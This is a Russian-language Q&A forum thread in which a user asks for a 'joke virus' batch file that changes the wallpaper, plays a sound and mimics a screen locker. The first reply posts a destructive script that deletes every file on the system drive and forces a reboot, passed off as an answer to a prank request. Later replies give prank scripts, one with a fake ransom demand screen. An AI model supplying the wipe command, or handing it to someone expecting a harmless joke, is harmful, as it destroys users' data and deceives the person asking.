Top.Mail.Ru
Ответы
Аватар пользователя
Аватар пользователя
Аватар пользователя
Аватар пользователя
Программирование
+3

Напишите пожалуйста скрипт для файла с расширением .bat

Хочу со знакомым создать шуточный вирус, который будет менять обои, включать звуковой файл (можно было бы ещё винлокер самый простой)
Что не пробовал, что не писал, все с задержкой и запускается только смена обоев, и то только после перезагрузки, а вот винлокер запускается сразу (это же винлокер блин)
!!! Я не собираюсь никого троллить или пугать, а просто хочу посмотреть как это все работает !!!

По дате
По рейтингу
Аватар пользователя
Знаток
2мес

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Аватар пользователя
Ученик
2мес

@echo off
title Шуточный скрипт
color 0A

:: Предупреждение
echo ВНИМАНИЕ! Это шуточный скрипт. Для остановки закройте окно.
echo Нажмите CTRL+C, чтобы прервать выполнение.
timeout /t 5 /nobreak >nul

:: 1. Меняем обои (без перезагрузки)
powershell -command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Wallpaper { [DllImport(\"user32.dll\", CharSet= CharSet.Auto )] public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); }'; $url=' https://raw.githubusercontent.com/example/fake_wallpaper.jpg '; $path=\"%TEMP%\\fake_wall.jpg\"; (New-Object Net.WebClient).DownloadFile($url, $path); [Wallpaper]::SystemParametersInfo(20, 0, $path, 3);"

:: 2. Воспроизводим звук (нужен файл alarm.wav в той же папке)
if exist "alarm.wav" (
start "" "alarm.wav"
) else (
echo Звуковой файл alarm.wav не найден!
)

:: 3. Имитация "винлокера" (без реальной блокировки)
:loop
cls
echo ВАША СИСТЕМА ЗАРАЖЕНА!
echo Для разблокировки отправьте 1000$ на BTC-кошелек!
echo Или введите пароль: 12345
set /p pass=Пароль:
if "%pass%"=="12345" (
echo Доступ разрешен! Это был тест :)
goto end
) else (
echo Неверный пароль! Попробуйте еще раз.
timeout /t 2 >nul
goto loop
)

:end
echo Скрипт завершен. Это была шутка!
timeout /t 5
exit
Как это работает:
Смена обоев через PowerShell (работает без перезагрузки).

Воспроизведение звука (нужно положить файл alarm.wav в ту же папку).

Псевдо-блокировщик с "требованием выкупа" (пароль для выхода: 12345).

Для настройки:
Создайте файл alarm.wav или замените путь на свой звуковой файл.

Для обоев укажите прямую ссылку на изображение в строке $url=....

Важно:
Скрипт не изменяет системные файлы.

Все изменения обратимы (обои можно сменить вручную).

Для полной безопасности запускайте в виртуальной машине.

Аватар пользователя
Знаток
2мес

@echo off
title 🤖 Шутка века
color 0A

:: Установка обоев
reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%~dp0wallpaper.jpg" /f
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

:: Воспроизведение звука
start /min mplay32 /play /close "%~dp0sound.wav"

:: Показ шуточного сообщения
msg * "Ваш компьютер был захвачен котиком 😼"

exit
📁 Что нужно подготовить:
Поместить .bat файл, файл с изображением (wallpaper.jpg) и звук (sound.wav) в одну папку.

Убедитесь, что пути корректны, или замените %~dp0 на конкретный путь.

Запускать лучше от имени пользователя (не обязательно администратора).

Это не требует перезагрузки, обои сменятся сразу, но поведение зависит от версии Windows.

Аватар пользователя
Знаток
2мес

платно